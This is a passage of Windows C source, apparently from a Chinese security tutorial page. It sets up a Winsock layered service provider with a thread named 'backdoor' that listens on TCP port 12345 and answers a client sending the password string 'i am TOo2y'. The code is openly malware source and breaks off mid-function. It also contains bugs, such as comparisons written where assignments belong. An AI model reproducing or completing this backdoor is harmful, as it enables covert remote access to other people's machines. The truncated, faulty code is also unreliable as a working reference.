#include <tchar.h> #include <winsock2.h>
GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
LPWSAPROTOCOL_INFOW protoinfo=NULL; WSPPROC_TABLE nextproctable; DWORD protoinfosize=0; HANDLE hmutex; HANDLE hthread; POINT nowpt; int totalprotos=0;
DWORD WINAPI backdoor(LPVOID) { SOCKET sock,sockt; WSADATA wsa; int iret=0; char msg[25]; struct sockaddr_in sin;
if(WSAStartup(MAKEWORD(2,2),&wsa)) { OutputDebugString(_T("WSAStartup Error!")); return 0; }
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { OutputDebugString(_T("Socket Error!")); return 0; }
sin.sin_addr.s_addr=htons(INADDR_ANY); sin.sin_family=AF_INET; sin.sin_port=htons(12345);
if(bind(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR) { OutputDebugString(_T("Bind Error!")); return 0; }
if(listen(sock,5)==SOCKET_ERROR) { OutputDebugString(_T("Listen Error!")); return 0; }
while(1) { if((sockt=accept(sock,NULL,NULL))==SOCKET_ERROR) { OutputDebugString(_T("Accept Error!")); continue; }
if((iret==recv(sockt,msg,sizeof(msg),0))==SOCKET_ERROR) { OutputDebugString(_T("Recv Error!")); closesocket(sockt); continue; }
if(strstr(msg,"i am TOo2y")) { memset(msg,0,sizeof(msg)); memcpy(msg,"i am waiting for you !",sizeof(msg)-1);
if((iret==send(sockt,msg,sizeof(msg),0))==SOCKET_ERROR) { OutputDebugString(_T("Send Error!")); closesocket(sockt); continue; } } OutputDebugString(_T("Transport Successfully")); closesocket(sockt); } return 1; }
BOOL getfilter() { int errorcode;
protoinfo=NULL; protoinfosize=0; totalprotos=0;
上一篇:无盘工作站2000终端全攻略
下一篇:极限软件电影下载密技
|